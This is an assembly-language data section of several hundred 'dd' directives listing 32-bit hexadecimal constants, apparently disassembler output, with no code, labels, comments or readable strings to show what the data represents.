		dd 0D405E79Fh, 0B549F70Dh, 0B9471977h, 6AB748FFh, 0E9861BB8h
		dd 0E2A0D479h, 0DC8B84B8h, 5AB943h, 0CE9B0C01h,	0A14A26C7h
		dd 3395CA32h, 0BD65ED1h, 0B3D51437h, 0D8F71519h, 0FF6017DAh
		dd 0D673AB28h, 0E37AA825h, 0B4829D62h, 0EA19BAC1h, 69511878h
		dd 2DEAD693h, 27466EA2h, 54823CB3h, 0D105D612h,	28334495h
		dd 1047213Fh, 369E5A88h, 0F554604Fh, 4D56E366h,	86960217h
		dd 43DCF24Eh, 7FA2B932h, 0D95FF95Bh, 0AC62956h,	0AA2B8DBAh
		dd 8F554E19h, 13EC18C1h, 0C03CF902h, 0ACEC1D7Bh, 7E431504h
		dd 53528436h, 38F79961h, 31EF7D34h, 0D27C064h, 499916E6h
		dd 0CA500AB9h, 5EB3E1A5h, 371A142Ch, 0E95C84BCh, 0C98363A7h
		dd 31008353h, 96994C1h,	0BC4F9B5Fh, 793EC7E7h, 871A7DACh
		dd 3BC10997h, 0C295B5C4h, 0ADE96893h, 2E80F987h, 0DE7B5B36h
		dd 398C2083h, 947C5BE7h, 0F0A91B7Ch, 775AC0BAh,	0D9C5AD63h
		dd 0D31E863Dh, 37DE1D3h, 0C4BA544Ah, 0B0DA08DBh, 0B6B3B9B3h
		dd 0C7F94B0h, 0BDC42174h, 0B90A7FE0h, 0F4B630BEh, 0B9434D25h
		dd 9CF5D29Fh, 69F761F5h, 7D3209BBh, 3713EB97h, 0F2A14800h
		dd 0E3833493h, 0EEDCD525h, 54111CFAh, 0AFB0203Dh, 0BA2F0281h
		dd 0CA916C69h, 4D4FC3BAh, 51FB776Dh, 0A3873289h, 69EBAADEh
		dd 0B72D8FFBh, 193BDA13h, 903BE21Dh, 96474604h,	0B5486CFBh
		dd 9A756FB6h, 6844F12Bh, 0EE39EEA3h, 4B2C7EE4h,	5AC9D7F7h
		dd 4387A2B3h, 0BE5B101Dh, 0D753DF65h, 553E2BACh, 9FA961DCh
		dd 0B7E68FE1h, 0F7F00461h, 0ECB0FACBh, 0DDC732F2h, 0B58F8AB6h
		dd 0F6C48A02h, 0FE18FEE3h, 0A2CA9835h, 0AE2CD0D7h, 0F2E04002h
		dd 0A9870895h, 71247316h, 75546F18h, 3CBFC8CBh,	42262F89h
		dd 0F2175182h, 5FF4D3Fh, 5BF3221Dh, 0F9CF558Bh,	535A995Ah
		dd 4B737448h, 0E4B35C56h, 0CDAC6471h, 84ED1E2Ch, 4A439171h
		dd 3C1AB97Ch, 2769252h,	9CA2C100h, 1CB5A22Ch, 571C5EA3h
		dd 0D81381DBh, 0A24B06E2h, 8A204386h, 0F1925ABAh, 51DF4827h
		dd 63551DC1h, 202645E9h, 84BA2CB0h, 0D8F1CF2Bh,	33EFEB0Ch
		dd 48394D98h, 8B025477h, 7482B9BEh, 0D81BACF1h,	2E7DF484h
		dd 94F9DD47h, 88425CFh,	0DB28FC98h, 0C6A57827h,	5DCE428Bh
		dd 0B0A338E1h, 0E7076175h, 2C466AE7h, 7028CCCh,	27CF94B2h
		dd 0B49B5C21h, 8B6169D7h, 23AEA6E1h, 3382DFD6h,	5BA56A3Fh
		dd 3A76E59h, 0B88E1C4h,	0FB23A1E1h, 0F2D17CFCh,	3E55979Dh
		dd 8C80C2B5h, 3462642Ah, 0D81C0D81h, 628CF473h,	0FAA35F2Ch
		dd 65688C69h, 0C69128CBh, 36EF38FBh, 739489E8h,	0B24FAE3Fh
		dd 1631112Bh, 0EF564DEFh, 0E83505D3h, 2276A3DCh, 21AA0279h
		dd 0FDB9610h, 5698C6CFh, 0A57C13AFh, 0A7609506h, 507A3100h
		dd 3ED2D942h, 0D55C7A0Fh, 73D96D2Ch, 0FF58FFD8h, 0FF0090C5h
		dd 0A3C49E8Bh, 1B73321Bh, 18B51FB5h, 0F1224DD4h, 0A886E337h
		dd 0F15AFE93h, 2247BC1h, 0CF92B10h, 73786EA5h, 129A7FC9h
		dd 0F2420DF5h, 58050E7Bh, 9533EF06h, 0A1DC3E08h, 0E842C464h
		dd 0B65303Ah, 85E72939h, 4AD34E83h, 39959A87h, 132D6EECh
		dd 0D0B406FDh, 0ACB93A12h, 112FBF67h, 4E821313h, 725FC640h
		dd 51197984h, 0ECC46973h, 2BEC059Ah, 4F58E7FFh,	3FC83DE0h
		dd 16DB5CF1h, 0CB5AFA7Dh, 5D24FF70h, 4F1FFEAFh,	0CD641242h
		dd 8D826830h, 0EE95CD74h, 0AFFB47D6h, 65404780h, 3C07757Fh
		dd 88EB3BA5h, 45F5E749h, 0FD4E2477h, 5189C31Eh,	8E4791Bh
		dd 0AAD37140h, 0F431B946h, 4CBD53F5h, 4C2D1414h, 3CB31D5Ah
		dd 0A993B310h, 92954F5Dh, 0FC90E76Dh, 0A79BF31Ah, 33DF56C8h
		dd 290E5110h, 0D0EB3FC9h, 0AB4D3EAh, 6FC90719h,	0B3BB5F63h
		dd 0E080D25Dh, 891C89Bh, 0B6E11701h, 0BDC78E97h, 4358D8E0h
		dd 0C6949173h, 0D02DC080h, 87308893h, 0D010EBD1h, 75F34D3Fh
		dd 0B5A00B8Fh, 0BD5C2E50h, 6D3C318Fh, 99BF96EBh, 2A80D10Ah
		dd 5230812Ch, 0B762E630h, 0D7835202h, 439BBA39h, 898E9C2Ch
		dd 4EEF7146h, 5929E651h, 0DA5421DBh, 5E22BDA7h,	367BC840h
		dd 83D8F84Eh, 0F1DC0FCCh, 2F942CCBh, 0CA4EA5Eh,	0F850DAE6h
		dd 3286DF27h, 6791B47Ch, 76282479h, 0F8BDFD37h,	0D901863Ch
		dd 9F70E120h, 0C75F8B62h, 0FF663E1Eh, 7277015Dh, 0EA45A00Ah
		dd 0AA137147h, 7ACC6F8Bh, 0C2F9C939h, 965745AFh, 6F1C8C52h
		dd 0FB916565h, 8AD5EB2Ch, 6F580910h, 462FCD89h,	4B11F033h
		dd 0DBF5F5DEh, 0E88BE092h, 751C6D01h, 4A8BA76Eh, 0DFB6B0B8h
		dd 0DE76AD82h, 5E88BD8Bh, 0AC4C5C38h, 0AE4D31DBh, 9FEDCDD7h
		dd 4DCA72CAh, 2730848h,	87394B4Ah, 782EF02h, 0C0E45354h
		dd 5F44D3C9h, 3AD8940Eh, 361FE73Fh, 1F9A80h, 3F65879h
		dd 5249C3F0h, 0C870D10Bh, 778431A3h, 52832FCh, 2D1256D7h
		dd 0BA1E019Eh, 58EF0AAEh, 69B9EEF5h, 31F1F423h,	0B79FBF60h
		dd 51702D79h, 0DC7F6A4Bh, 0C635AD9Dh, 9D43F4FEh, 82CF6A96h
		dd 66732A91h, 6746D151h, 61964C1Eh, 767BCD75h, 3BDB3B52h
		dd 9ECFCE6Eh, 0F5E739CBh, 79B15949h, 583214A4h,	57E0C54Fh
		dd 1F306166h, 3E7661CBh, 0A174EE55h, 7E977FADh,	89CF6664h
		dd 3F57E33Fh, 0E08D94E0h, 32F2DC65h, 27478715h,	1C7B9361h
		dd 65DB2AEBh, 59743D3Ah, 17CB963Ch, 0DEBB7CAh, 4005D130h
		dd 3ECF5828h, 0E1BFB270h, 33406C98h, 0C8CA0920h, 0E1777CFCh
		dd 0A5D3CC92h, 7BE9DFA6h, 0BB012B76h, 0E70D1ACEh, 605BB5EEh
		dd 0F8246A7Dh, 0D72FA9FEh, 1C8BDAC2h, 0B2477E76h, 1D6176F3h
		dd 37E71CFEh, 29475819h, 6D6E5A67h, 0C24A3BFFh,	0AC8F750Dh
		dd 8066E070h, 42E32B01h, 66626D74h, 45E216B5h, 70C65FFEh
		dd 0D50C4B64h, 1D5C2048h, 5949BB0Ah, 4E1B3A31h,	279F6B2Eh
		dd 0F4909550h, 7893500h, 0C4A751B6h, 9A665A42h,	0DDBC7044h
		dd 80F8A9E9h, 1130D1DAh, 61713599h, 578D885h, 156E5534h
		dd 0D00D5394h, 52D22990h, 0B058ED2Fh, 0BFA2B128h, 0CD060701h
		dd 6FAAE784h, 9049581Fh, 0FEC6AF3h, 0FAC907DFh,	3EC12D5Fh
		dd 0AB26E766h, 8875679Bh, 923A4D3Bh, 0F6A84BAh,	0BD7C365Eh
		dd 1E4852E4h, 4A7FD07Eh, 0F2117A57h, 11A54111h,	7087B9C0h
		dd 1A2A5CEFh, 0F284621Fh
		dd 4E39711Fh, 23E43E52h, 75BD4215h, 1F41F0B9h, 3526A4B0h
		dd 929DB9Dh, 3933EEFAh,	2BB4502Eh, 4C6226BBh, 0E983DCAh
		dd 0EDF50BE0h, 0DEB2A973h, 0B4864421h, 0E8BFE6C9h, 7E5F7A69h
		dd 0A322E83Dh, 0C9A4EAADh, 29A95B75h, 0C05EC14Eh, 0B32F413Dh
		dd 7097B98Dh, 0EA8DAB2Eh, 0F2F72DC8h, 52C4E5F5h, 0F8DADBD3h
		dd 28D9E6C6h, 11386CA5h, 0C7765073h, 7465131h, 4E0F0F54h
		dd 0FE7F05FDh, 6D04E65Fh, 0CAF8039Ch, 70FFF7CAh, 40A1B074h
		dd 0CA0C8F47h, 93CAC25Fh, 744E3A35h, 7CDD24EFh,	0FEF1AD86h
		dd 8996E65Fh, 0BE1044A0h, 6D310AC6h, 7AE42A7Dh,	31D395ABh
		dd 0C73E9AF5h, 0A93A8BFBh, 6D6C20DAh, 0FD106356h, 0EDF95550h
		dd 3E4D705h, 0AFED32AEh, 2EE7B35Bh, 510E3FFFh, 9A746EC9h
		dd 1009021h, 0FB97A146h, 1F47FF8Dh, 0DB8AAE3Dh,	0FFE0374Dh
		dd 0C495ED01h, 77513802h, 2ECBC888h, 0D1A61726h, 30786E65h
		dd 8C2C1A2Ch, 48EA7A68h, 4C81E256h, 0CF4B774Bh,	0A444FED7h
		dd 62BB077Ch, 84F4892Ch, 0C8CC40B3h, 13B43F02h,	0B15BB397h
		dd 0EE1310BDh, 0F504E6BBh, 0B1283D87h, 0D1585EEh, 0C116A672h
		dd 0C1AE757Eh, 12FF58E1h, 52542518h, 7E6F9932h,	0C12AAC93h
		dd 6FD74C87h, 40931CC8h, 2DFEE4ABh, 390C6872h, 6F4609F6h
		dd 7B99CEAAh, 3C134552h, 7BE1D71Fh, 53BF854Fh, 0BE9F49FBh
		dd 475A6547h, 0D4374232h, 0B6B330FDh, 78EDA337h, 0A29A5E0Eh
		dd 0E9255C28h, 25011E42h, 4BE1F999h, 2C563326h,	47528686h
		dd 6DC23BC7h, 0AC09B6ACh, 64BB7B7h, 0DCE88460h,	0D07119F9h
		dd 3E72B1D8h, 0AE53A2E7h, 699792CEh, 112ADB61h,	0E57EC3F5h
		dd 2B9F58A7h, 49714937h, 0C425AE51h, 8F13E2FFh,	0DA1680F7h
		dd 0B4E06501h, 1773C6D3h, 0FF29EDE0h, 1162245Ah, 0C0995217h
		dd 0F01BCB84h, 5A064F12h, 4E1D0177h, 0FF5627FDh, 3D087054h
		dd 93176ED8h, 0DC27FC71h, 0F26B7D80h, 0F3F649FDh, 0D04699A8h
		dd 322321CDh, 5A07CCE1h, 97240607h, 94AE7A2Bh, 0C3D40315h
		dd 0C18A4A4Eh, 207292C1h, 3CC5C6B5h, 0C037B1D8h, 1CEAAF94h
		dd 0FE1B49ABh, 0B7DC6C92h, 58BDC2E8h, 0C5B65AEh, 404C209Ch
		dd 591F855Ch, 0BF4E545Eh, 8E3867C0h, 0E394753h,	0BBD1504Fh
		dd 6FAEF25h, 0D79BA440h, 680E60E6h, 3721204h, 7D6F9045h
		dd 1A67B752h, 8663399Dh, 59BC79C6h, 0F20EBFBEh,	0CC72F6A3h
		dd 0A5F847CEh, 0C51F0FADh, 0E1E17C73h, 4F4EC653h, 87E1C00Fh
		dd 0DB96A609h, 0A7F3A60Fh, 917A7C8Dh, 0E5CBC231h, 7B67D54Dh
		dd 0CD0E7A05h, 41FFA13Fh, 56D8C369h, 0CF596F3Fh, 832B80D4h
		dd 9E3484CDh, 54D67CD5h, 0F2BF81F0h, 4B678239h,	0DDB034Fh
		dd 0CE1224CFh, 0A6547064h, 10EED838h, 207B18EDh, 78572634h
		dd 5136F372h, 1DACE524h, 62E8AA99h, 5D940CEDh, 0EA2E810Ch
		dd 0B68DE035h, 0D879CCBCh, 0F2434FDAh, 0DF252E26h, 1F9F8C94h
		dd 9952D892h, 9745CA6Dh, 4C783A41h, 9106688Ah, 9335FF9Dh
		dd 29E96D98h, 57097353h, 5E946AD4h, 27B1E514h, 0F22700CAh
		dd 0B71C0503h, 0B62E82C8h, 0E9A15878h, 4E21EAF4h, 0A034B5B3h
		dd 2CEFA2ADh, 8266AB4Ch, 164D8F64h, 999134ACh, 6BE5D0E5h
		dd 24CDC3B7h, 67545343h, 47CF5B5Ah, 89742BD3h, 617A61FDh
		dd 0AB0A6C54h, 0D8CC3937h, 0C04F07BEh, 55569C01h, 11C860F3h
		dd 0B4D36B41h, 0B6283819h, 59FFDF45h, 934C8056h, 0A42D8D94h
		dd 0D5629E76h, 2DB9DF8h, 0B4604477h, 8CBC1064h,	0DE21A704h
		dd 26B7D27Bh, 0BA51E411h, 4A08FD56h, 4DB418A3h,	15CD83CAh
		dd 5354215h, 49682619h,	63115F09h, 0EE2BEA84h, 0B8904D3Dh
		dd 5387F96Fh, 64717FDFh, 5A851E38h, 8AF51B44h, 4476488h
		dd 0D73E5433h, 3D1FEA31h, 2D75C63Fh, 9838B180h,	115ED32Bh
		dd 9D5B71DBh, 0DEF1BCEEh, 0DC9E243Bh, 996C0F4Bh, 0CB1C5C43h
		dd 2E93E94Bh, 0E7B845FFh, 5EF61C7Eh, 0B84788C9h, 342AB6F4h
		dd 0AAB3E175h, 0F5A8C83Eh, 25D533E0h, 10B41D2Ah, 85694859h
		dd 0CF7DE17Fh, 76040B71h, 6309E3C6h, 6A6A63A0h,	60DBB53Eh
		dd 5198687Bh, 13EF15EAh, 54451A47h, 5324DE50h, 0F7E12Ah
		dd 34A2B36Bh, 0E8AAB86Ch, 927CA03Dh, 0FEBC99E5h, 831F18BBh
		dd 2964FCBCh, 5DF09D67h, 0F13DB6F9h, 0B716B7BEh, 0D93B283Fh
		dd 48AB1BCAh, 0CDA9C5DEh, 5E921782h, 6A3F8CDBh,	9DA1B5F7h
		dd 0B0474D38h, 39A64860h, 7F508067h, 0E89B26CEh, 7531B37Bh
		dd 76852850h, 133A6DA7h, 861149E7h, 2570CF5Fh, 7B6743F9h
		dd 23ABDC0Eh, 678FD4B2h, 4EFDFA9Fh, 0E13F7A88h,	221F0102h
		dd 5C2D3D50h, 0CCE8792h, 0B0B9D378h, 0E47443CAh, 0B65B3C96h
		dd 0AF46133Ch, 10D00051h, 477A7474h, 0F7AF3D3Ah, 2BA309Ch
		dd 9023D92Bh, 8C467BA8h, 0B8D37788h, 66945AB9h,	9C3403D5h
		dd 7F398FC9h, 1EFC3648h, 5D21F89Ah, 29F237DDh, 77FC53F2h
		dd 2B09E4A8h, 3B3DAD1Dh, 0C3EC1D14h, 39AE8599h,	0B2A7DC75h
		dd 9B80F975h, 0FAA11CAEh, 6BCE7961h, 0BF0555D5h, 84FCA256h
		dd 1970EA5h, 9E97095Eh,	0A4691C74h, 0FF80C021h,	0F978843Dh
		dd 61C41763h, 0C807CAFh, 0F54C9EDBh, 0C8B03F27h, 69685113h
		dd 8E1B919Dh, 0C756BCD0h, 4431B8D2h, 89DA6E4Bh,	95FA9BF9h
		dd 99117CEBh, 87C3F8B0h, 20D79F10h, 2D2B3E19h, 523FFA2Ah
		dd 4146BA0Eh, 0F321C59Eh, 0FF2518EDh, 0BE47451Fh, 5C0F7792h
		dd 0FE33B044h, 8060EFCEh, 0F836508h, 0BC67A78Ch, 6395677Eh
		dd 0EE2A3E32h, 58EFE959h, 8159C407h, 4C4E40F3h,	130BC1C5h
		dd 0ABCA571Eh, 0DBA4E8B7h, 50385E5Bh, 1A1E24BEh, 0C3AE48B1h
		dd 0BDC959D8h, 4C3576C8h, 0BF539F3Fh, 0AA6AA009h, 0DA2791EEh
		dd 0C67E228Bh, 0F6D28788h, 0C4E35BFh, 0A19B29D7h, 0F6BE5E98h
		dd 9C9873CBh, 0C4400537h, 5A5168F0h, 523065B2h,	69FC73DEh
		dd 461DA9EEh, 83F51AABh, 7ED601AFh, 0DF629458h,	0C9B7FF33h
		dd 7823FA69h, 0F347A219h, 0BC748950h, 0EAF08BCAh, 1A213F11h
		dd 0E6D9ADD8h, 935B35BEh, 6FA707B8h, 0BAB1CCBFh, 0B8BB6297h
		dd 7485506h, 12591EFEh,	0A0DCDE2Ah, 75B6B804h, 9A4BDBF3h
		dd 0DE6291F7h, 123FECBCh, 146594A6h, 0D6FA3917h, 88D2320Dh
		dd 453A98E6h, 8C1E616Dh, 0B27DC7D7h, 2D06B955h,	5D523FE4h
		dd 70E3D60Fh, 65E755B9h, 9B93D5C7h, 0C8F3B2CCh,	489AA0EFh
		dd 294627D8h, 47BB0F13h, 3B52740h, 177C13CCh, 9722D09Fh
		dd 0B98900CDh, 0E8C508Fh, 0E04D229Ch, 0DFDAE022h, 0E80776A1h
		dd 0A7B5E5C3h, 2F18F46h, 66CFBBF7h, 608F6D81h, 6BBC066h
		dd 78F5EAC8h, 0B565A4BDh, 4CB6F46Ah, 0A3AD76DEh, 8F1E2A4h
		dd 4E697FB2h, 0DF83F2A4h, 3E787840h, 45650837h,	0B432BAC4h
		dd 0DF11EF72h, 54023B2Ch, 8F5E9762h, 1CCA1D60h,	3A7F0587h
		dd 3A89D77Fh, 0DDDE5DDEh, 7FFC3BB3h, 2B9B5925h,	6660B909h
		dd 0A0E49F25h, 8D5AAAD3h, 73A3F524h, 6E816E0Dh,	0BAEE14B3h
		dd 228BAC16h, 81F0A8C2h, 980C7F83h, 0D16E01B4h,	94FD55D0h
		dd 48838DE2h, 69BD02E3h, 240380CEh, 0B0E48771h,	7AA77536h
		dd 677ECEEEh, 9C32D0A8h, 9ACD3975h, 604C2AF7h, 0F6C318AEh
		dd 0CC508CA9h, 949F4B11h, 0F9B177FDh, 1CFEAB95h, 6FCFCDCEh
		dd 1F8A5D49h, 75F26A59h, 0DC34F5C4h, 0F905EEA1h, 0E1E87FECh
		dd 756491DAh, 0E3750BB8h, 0D54F2D67h, 7D7CD0A8h, 3318FDh
		dd 5DE91717h, 6CE03CC1h, 3A77DA08h, 0B7C0F75h, 6791E4B4h
		dd 36E8FC28h, 9C166E6Ah
		dd 48EC7776h, 7D2AA462h, 0B8216641h, 0A6CD9B64h, 98BD99B4h
		dd 0F72428B8h, 905076BFh, 820E1043h, 0CE621D9h,	0A2D76FC7h
		dd 50A924D7h, 0C74A4D2Ch, 8DF98FF2h, 1B3C2E47h,	995EBA3Eh
		dd 9C574C0Ah, 165467ADh, 0A717769Ah, 7DB7CBB8h,	4F272702h
		dd 88FAEC1h, 0D628D5CAh, 0C1CD43C3h, 5EE3770Ah,	8CE606FEh
		dd 0ED4F374Ch, 0A15DFD09h, 61901850h, 81AD26FBh, 0D3B3B103h
		dd 93690E06h, 8EA13811h, 0A10D97Ah, 3716E8A9h, 14D196AFh
		dd 93189953h, 7B469FDDh, 15329466h, 0F4CB8597h,	0C45FCC2Fh
		dd 1A87F06h, 0C205F867h, 1355E339h, 0C36F1FDFh,	3D5A824Fh
		dd 0A12DFEB3h, 0FC17A6CCh, 0F01BEDB4h, 0A8CA2258h, 665E796Dh
		dd 21929DA5h, 738CBDB1h, 0FCA1A2E0h, 5767C642h,	7C11D892h
		dd 91E69390h, 7CA2D64Fh, 803E95Ah, 9FA6915Ah, 0EA933204h
		dd 492B6D2Bh, 0EE53D721h, 520EEA7Fh, 1160FE06h,	88E683C8h
		dd 0AABAB358h, 0E955DC79h, 22C5BF0Fh, 97235637h, 36DA8849h
		dd 79F371DBh, 0A5D8C19Fh, 0BEEE7E9Ah, 8E9A1F2Eh, 3DC31045h
		dd 11CBC3B8h, 67F9E8D7h, 8DAD03FAh, 0E25642B3h,	0C99204C0h
		dd 312573FAh, 8EE3C9C4h, 0D13F7F5Bh, 0DE92E0A6h, 61BE069Fh
		dd 59162B77h, 96E8D4D7h, 0F0E5A3EFh, 87DA89CAh,	0C7C2F3FEh
		dd 4080710Eh, 0C2085595h, 8333ED78h, 0F32A1FC4h, 7266501Eh
		dd 0B665F637h, 8261F6AEh, 0BE02762Fh, 3C3EE0BFh, 0C047AD97h
		dd 5C73D13h, 96FEE50Eh,	44568343h, 0B434B39Ah, 0CAB4E4BAh
		dd 47BE0A50h, 129A4EE4h, 324157EDh, 999236F6h, 2B66315Dh
		dd 29A2C687h, 19E7EF3Bh, 9CF09D36h, 4855229Ah, 618321EEh
		dd 254EA0FFh, 95E5242h,	4D5690FBh, 974342AEh, 0C9C107BAh
		dd 7A37FA81h, 8BD8C626h, 3BD75334h, 8A64177Fh, 0C0F7AED7h
		dd 0B175B5A2h, 4BBEF039h, 0A94E15EDh, 745CD0DEh, 0B0637676h
		dd 0D3EA8443h, 6E6F7EC4h, 8749F8D3h, 9EDFDBD7h,	6F39F098h
		dd 85807944h, 226AD63Bh, 0EC67E0Fh, 131A788Fh, 47BAA8E9h
		dd 1C068B44h, 0FA42275Fh, 0DE302F35h, 0C50D82BFh, 64BB88E8h
		dd 28E264E5h, 6AA791DAh, 1F753C61h, 3414D38Fh, 0D5FF51C7h
		dd 3522406Ah, 0A6FB4B6Fh, 10C2051Dh, 88C2141Fh,	9B4E93EBh
		dd 211799D8h, 0B4073991h, 0BB69EE85h, 0CB94AB81h, 402C5E1Ah
		dd 37564DA2h, 70229C37h, 33175A75h, 4D4D5F19h, 0DDB5AAF6h
		dd 0B787DBF4h, 0BAA1E8D3h, 0FB743A91h, 33D59A6h, 0D5033070h
		dd 0BFBB9C53h, 0E2FBFD88h, 0EF37181Fh, 60198530h, 0C2F1ADDDh
		dd 3BF09B48h, 0D10C024Bh, 0D145D467h, 542A2D1h,	1E59B6EAh
		dd 84A0101Ah, 92311B82h, 3195453Ah, 690B30C8h, 0A3C121AFh
		dd 40F319FAh, 62E94E5Ch, 9562A0C8h, 0EC2D27D9h,	53B36E24h
		dd 0B9DD0C2Bh, 0CFA9FFE1h, 0BBF4CD9Ch, 0AAF52631h, 3097CDFEh
		dd 22629B33h, 0B4EC0D06h, 0D7B289FEh, 69B18D9Ah, 504568Ch
		dd 60E1F228h, 3D7D95D1h, 7CB7303h, 0D97BB7F7h, 5ED21Ah
		dd 27B44C44h, 4C3DEC24h, 0F599BEE5h, 658AE880h,	6AF7DC74h
		dd 2605BFABh, 1592C57Eh, 87C72439h, 94C77FDh, 1B26B85h
		dd 303AE28Ch, 377FF503h, 5312B87h, 0EC17F202h, 8790B0E9h
		dd 16301016h, 0BCCBAB8Dh, 0A299662Ah, 1C293E68h, 0C1DB0ED9h
		dd 6E3A9391h, 1667B670h, 0B28B3155h, 624A9CADh,	8C5B5FFFh
		dd 0B1573B4Ch, 82552E57h, 0E3C4E9B4h, 878C4E7Ch, 91B0A3A1h
		dd 0E35C3473h, 0E65C82FCh, 0FD6273D3h, 49D75F57h, 9FC678D8h
		dd 995902C0h, 0E4BAF493h, 0EFA7D3BDh, 0DCB2E9FCh, 263CD405h
		dd 674C62ACh, 3B9EFA56h, 0C7D89C9Ah, 0B5F20D3Bh, 0A24DC248h
		dd 16732598h, 2DAAF926h, 0CB3BB39Dh, 514E66D7h,	8592312Ah
		dd 76D3D21Fh, 9773D769h, 6D669922h, 182F763Dh, 1A01DB18h
		dd 0F2C3B7A6h, 0B204299Bh, 8BD6F98Fh, 0D5EA835h, 0CC754070h
		dd 9695EA37h, 69DD0CEBh, 0C172694Fh, 40943A6Ch,	0AB7021CDh
		dd 28CC7D50h, 0B2CAC026h, 58CF60EFh, 0B98B3B79h, 89F75341h
		dd 37A7AB4Ch, 514EDCDDh, 75FCCF2Ah, 6D21C8ADh, 0DD768D94h
		dd 5A94B33Ah, 4516A159h, 0FF79182h, 83239BB8h, 129DEE2h
		dd 0DD4B78D7h, 3C58AC0Eh, 981ADADCh, 32B1AC01h,	8FAD8DF8h
		dd 5241317Ch, 69D65FF8h, 84677C43h, 3EECA72Fh, 62ECF901h
		dd 3152235Ah, 0F0EFE731h, 20EBDFB0h, 329BCF71h,	2A40FE87h
		dd 9C5622EAh, 0FE3CA09h, 923ADCD6h, 0D14D2D68h,	76C4F6EAh
		dd 3184A2h, 0B3118087h,	9FFBF7B7h, 329CED3Ch, 0E0CF6BDDh
		dd 9C772931h, 0CC78AD5Dh, 0FDEBF074h, 0EB805FE0h, 0E5A999E8h
		dd 0B722B569h, 8D26E9CDh, 0E8B658ECh, 466FA362h, 9C3D2803h
		dd 6F6163Ch, 338A99D1h,	0CC0EEBD7h, 40C0D61Ch, 2968D857h
		dd 195FCC5Ch, 5EE8E3CFh, 0FDB89A55h, 0FA19A1FEh, 35FF6F35h
		dd 0F2141135h, 557276CEh, 1FE837D9h, 25E83012h,	5EB834D1h
		dd 4298B2A9h, 0A9FFA7A2h, 4DACCD8Eh, 9AB628B7h,	4A316605h
		dd 7217C244h, 3735144Eh, 0DAFB917Dh, 0E3883DECh, 1786BC36h
		dd 0BE96A2DEh, 9BB57E45h, 15E6180Ch, 26D14921h,	0AD756F20h
		dd 0BEC4B6EBh, 7939A38Bh, 60B78BABh, 0FB5140EBh, 85933675h
		dd 6B013AC9h, 996C467h,	9523CC04h, 0E5724391h, 0E89BB382h
		dd 16BAC447h, 0E164AB8Ch, 9096EEAh, 0CC802BF8h,	0BE1BADC7h
		dd 0B4C429A4h, 840A8823h, 33CBA58Fh, 0CF5C89E0h, 0A75BCE53h
		dd 5725C483h, 29B03B98h, 18594F9Eh, 3CBA322Ah, 0A1A7FA21h
		dd 6488B7C6h, 5AD5A1A2h, 98550AD5h, 7ECBDB3Ah, 8F38E102h
		dd 372C7AC4h, 94C9AE67h, 0FFB8F444h, 45F75A12h,	0B6147AF6h
		dd 3C54FBBCh, 3E3BC0F3h, 4F79CBCAh, 0FF6BD4D0h,	27D5A60Fh
		dd 30F668D8h, 928D4EE2h, 0FD2E8BD2h, 0C2E09F8Ah, 4561B80Fh
		dd 0E99DAD1Bh, 7DC6FBEh, 2BBD480Ch, 0E7DF076Dh,	0F4B7F0DFh
		dd 0B04863B8h, 0A43C8B3Bh, 0D8FE8833h, 0D72BF927h, 0BB5A9E1Dh
		dd 6452FCD8h, 1A7B97Ah,	33863493h, 383AC2C2h, 0A3149B78h
		dd 2A7FF6EFh, 1F97FE9Fh, 0EF2CB8B0h, 7413DB5Ah,	4DD18795h
		dd 88C905Eh, 0BC4BFD50h, 1F554DD4h, 0B517E04Dh,	1432899h
		dd 0B6BDB390h, 0F134F920h, 5862EA1Fh, 0E8D45958h, 0DAC30F7Fh
		dd 0A3B9701h, 2679B69Dh, 0C11758ECh, 0EAB76761h, 24227615h
		dd 5A539228h, 9D98EB01h, 0A08F6AC6h, 0CED0596Eh, 0EACA9FBBh
		dd 8C6ABF1h, 5E1FEC6Ah,	0DCB7EE40h, 0A779A620h,	0E0115E35h
		dd 0C7F56EF7h, 76B023B0h, 1F7C973Ah, 5B677310h,	4CFDCE63h
		dd 53F6DEA2h, 0A054B943h, 445C07DAh, 48FFC853h,	6DDAB152h
		dd 7E24294Fh, 6CDE100h,	31FBE0A5h, 2D866F09h, 0E05C9363h
		dd 0C309143Bh, 2A0A039Ch, 32CCFA03h, 0B9D3C54Ch, 0A24EEB73h
		dd 194DEB9Eh, 3CEE456Ah, 0A3D67598h, 2ADB0F3Fh,	32C30B4Fh
		dd 0FE163475h, 93EC7944h, 50CB1C2Eh, 647C9CC3h,	10CBF4C2h
		dd 33923A3Bh, 32947B6Eh, 17471988h, 0A7135422h,	99E28963h
		dd 22CCF318h, 0F1FCB448h, 69C12C6Bh, 0CFA692A8h, 0B9309BCEh
		dd 6D0A259Bh, 0D00EBA1h, 0C318102Bh, 3DE3EC27h,	0B8C0DFDDh
		dd 360CF6D5h, 4B52D5D5h, 6E6961FBh, 0BBCF029Bh,	75716890h
		dd 28DAB45Ah, 0D5B33F21h, 0D38136D6h, 310ED31Bh, 0D27D4967h
		dd 402BB655h, 0D5FB0C22h, 78AEFB57h, 1C94C23Eh,	0EB8440D8h
		dd 0A15C4B30h, 17815AD2h, 0FF23F95Dh, 6A595198h, 89296BBDh
		dd 37AEE392h, 0B94DC903h, 0F77A39EEh, 1C2D8515h, 4F5AC5DEh
		dd 8F493258h, 4F242186h
		dd 4CB0925Bh, 0A96964A2h, 97D3B9B2h, 0D26D96D2h, 0C32BA27h
		dd 0E2E7A1D9h, 9459135Eh, 63E38E69h, 81CD29CCh,	9A9340Fh
		dd 7A89BD33h, 0AD99792h, 0DEE1FCCDh, 2C42CF7Ch,	3A9AF07Fh
		dd 75064D53h, 6B2953Eh,	7360416Eh, 621D4812h, 0CFCBA2D6h
		dd 2D4AC2F7h, 6F8DC17Dh, 2C4498D6h, 6D949C04h, 0A0C8BAF6h
		dd 11B2092Bh, 0FD1F99D7h, 65E67E89h, 57DE480h, 1C66CE9Fh
		dd 0D1A7D482h, 1ED3BB87h, 724603CFh, 76D8E0D0h,	5431B0C8h
		dd 768CAF72h, 68241E3Ah, 5031767Eh, 4D097A45h, 6D57A506h
		dd 0ED0C5F0Ch, 2A63BA41h, 0CE700C10h, 789BF9D9h, 31E0E385h
		dd 0C8311135h, 202CAD13h, 5096CB76h, 0E8702429h, 0F1FB9019h
		dd 7B080C21h, 9BE59D6h,	36BE4ECDh, 583CFD75h, 9E1A9E5Bh
		dd 8CA1A57Bh, 195580BEh, 34B904Fh, 0FB39DC06h, 0DE15B5FFh
		dd 90961A49h, 0DE0FE60Ch, 3150D597h, 963F9151h,	0AD656EE0h
		dd 0EF15D967h, 6AB2A55Fh, 3AF2A404h, 0F4FD131Fh, 61D02C87h
